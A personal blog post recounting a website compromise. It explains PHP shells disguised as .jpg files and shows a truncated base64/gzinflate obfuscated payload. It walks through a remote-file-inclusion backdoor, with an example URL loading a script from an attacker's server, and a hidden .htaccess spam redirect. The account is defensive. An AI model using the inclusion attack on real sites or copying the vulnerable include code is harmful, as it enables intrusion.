Portrait of a hack

It's been a long time since I updated the page. Again. As I was intending to update the page with the report of my latest endeavor, something unexpected happened.

Last Sunday morning, I woke up to receive a terse mail from my hosting company - Host Monster - that my basus.net account had been deactivated due to "terms of service violation". So I called them. The Tech support guy confirmed that the account had really been deactivated because there is a phishing page lurking inside my site. He suggested that I talk to their Abuse department. Even though it was a Sunday, there was somebody in Abuse department I could talk to. She pointed me to a directory called 1/ inside my webroot folder. That, and few other files, seems to be gratuitous contributions of the hackers. She said once I removed the offending pages and they confirmed that I did, they could reactivate the account. I got off the phone and the first thing I did was to remove the 1/ directory. Looking back, I think, that was a knee-jerk reaction. I could have avoided that. I, then, moved my original webroot folder and put up a placeholder page instead. After these minor surgeries I called my hosting company's abuse department. She looked at the directory to confirm that the offending pages are really gone. Once confirmed she immediately reactivated my account. I briefly chatted with her about the possible backdoor and inquired if they had any tool to sniff backdoor. They don't have any tool but she gave me pointers to some usual suspect applications. Fortunately I didn't have any such application. However, that's unfortunate too, since now I have to hunt the backdoor myself manually. It also means that the backdoor is possibly an inadvertent creation of my sloppy coding. Tooo baad.

But one thing I want to mention here, I found my hosting company's support impeccable. They were helpful, to-the-point and not too finicky. Deactivating my site showed they had a good policy in place against questionable content. Kudos.

Once my mail server etc. are back online and offending material offline, I had a few tasks at hand. In order of priority, they were:

1. Remove all injected files and content


2. Find and fix backdoor


3. Put site back online

So, here are some interesting things I have found on the way. These must have been well-documented in some security website. But, here is what I have found.

Modus Operandi: Once the hackers find a backdoor, they push a file through the backdoor. This file then becomes the hacker's gateway. They come and go through this door at will. They can pretty much see what's there inside, put files (scripts) there and sometimes hijacks the site.

File Extension: Some of the initial files that the hackers upload had .jpg extensions but they are actually PHP scripts. For example, php3.jpg, lila.jpg or sh6.jpg. I think, they want the site owner to overlook any .jpg file thinking they are image files hence harmless. PHP engine, though, is not fooled by the extension. It will execute file any extension as long as it is valid php code.

Offending files: The most interesting is php3.jpg. It looks like a binary file

 <? eval(gzinflate(base64_decode('
7b3peuJI0jD6+53nmXtQqT3ddhsjwHgrV7mH1cZm
B69VdTxCCJBZhCUBNv3WBZ1r+P59V3YicpFSCzau
qu5ZzvRMt1EukZFbZERkZMRvJx9+mw6mf/2LorQc
1XKMSV/S1NHI/utfjJ60+a43m2iOYU7u9SfDduxN
ua87Y0OzTMcY6/LWlvQ7LyGJOZuQMYIKmxszW9di
0gb8d0v6KOlP05HZ1TdlSY5JQumtY8nSnZk1kTY3
eyNTdbZIRWlb4p8I4Pjr17/+Rbcs07q39KlJsN3c
2zr+61/+bvQnpqXfQyXrXu1A1ma7eVkgWbbu3I/V
vqHdP85MR7fvrdmEtJrA7I2FMQHEbMdyzJG50K1N
e9aBr836Wf2+1oolYrvQy48fJRkKylChq/eMCfTA
xuEioxDz9xyh4tj1g+32p9omjlj0wEKbxtT2DylN
2/x5Q7Ws2Mbwoyyz6oZ9D0nq8ybmkCrQe1UbkG9J
tSUofLIxZ6VJ52bTKXRuY7glvYPOnJZr2Uy5hfBY
I1jzk7wxlL/gOH+V9JGtS78TeB8ZIiPVHui0JC3D
qzJokAgDet8sNC4LrTZUIzjej3Wrr29u3OdqtYtS
IbZxf1pow3/rtVYbx8pF3a0YxP+dYcMkbm4A8pAC
fwD0xpysBmjPHsx1xFFOxhPS1NJ3LH2kq4B8Z2aM
utJPyX35WFKU3Myy9IkjQWEbxhZXfK5WLZZOL5uZ
dqlWlTLVvNQqtNul6mmLrX59PHVgjGcTXEP2zBph
+/BbM82hAWtAOzqyByRDhhW8gT8QERnHAcdPBCKC

However, if you look closely, you will notice that it starts with "<? eval(gzinflate(base64_decode('". This basically tells the PHP engine to inflate the gzipped and base64 encoded content that follows. When I explode, it became a html which looks like this in a browser



Backdoor: There were a couple of backdoors in my site (at least the ones that I have found). All of them are similar.

PHP script can run another script by calling a function named include(). Suppose you have a script named foo.php and another named bar.php. In foo.php you may have a call like:

include('bar.php')

Now if you request foo.php from a browser, it will also execute bar.php, even though bar.php was not explicitly called or requested.

Now the bar.php does not need to reside on the same directory or even the same file system. bar.php may be sitting on a different webserver, 10000 miles away, reachable via a HTTP call - http://bar.com/bar.php. Now, still foo.php can execute bar.php via http. Your include will simply say,

include('http://bar.com/bar.php')

PHP will take care of opening a socket to the bar.com server, create a HTTP request to bar.php and execute its content after receiving the HTTP response.

Now, suppose, instead of hard-coded http://bar.com/bar.php as the argument of the include() call, you pass a request parameter - something that you got via a POST or a query-string.

$myscript = _REQUEST('myscript');
include('$myscript);

Now, you have a backdoor. How so? If a malicious hacker knows about this two lines, she can make a request to foo.php like this

http://<servername>/foo.php?myscript=http://<hackersserver>/malicious_script.php

foo.php will obidiently execute whatever malicious_script.php asks it to do. Now the question is how the hackers know of those to line of code. By looking at other links on your site (or other sites which links to your site) and guessing. This is not difficult.

I precisely had this backdoor. Three of them. I think hackers exploited two out of three. I have fixed the code, or I think I have until hackers expose another backdoor. I have also written couple of monitoring and reporting scripts which will periodically look for any change in my site. Let's see what happens.

On a subsequent post, I will try to write more about the files the hackers put.

Update: I never got a chance to write more about the files the hackers uploaded. However, another thing of importance here. The hackers modified my root .htaccess file. That's the configuration file for Apache web server and it affects the tree underneath, unless overwritten by another local .htaccess file. They put a Rewrite rule in the .htaccess. Apache rewrite rule basically can modify a request line. For example, a browser may request for a file called "foo.html". Via Rewrite rule, you can serve some other file, say "whatever.html". Since, this happens without browser's knowledge, browser still thinks that it got the requested foo.html file. That's exactly what happened in my case. The hackers wrote a rewrite rule in such a way that if a request came through a search result (identified by the Referer header), it shows some Viagra ad page that they uploaded. And be careful, they bury the Rewrite rule in .htaccess file after a bunch of blank lines, so that when you open the file in an editor, you won't see it without scrolling down. Very clever.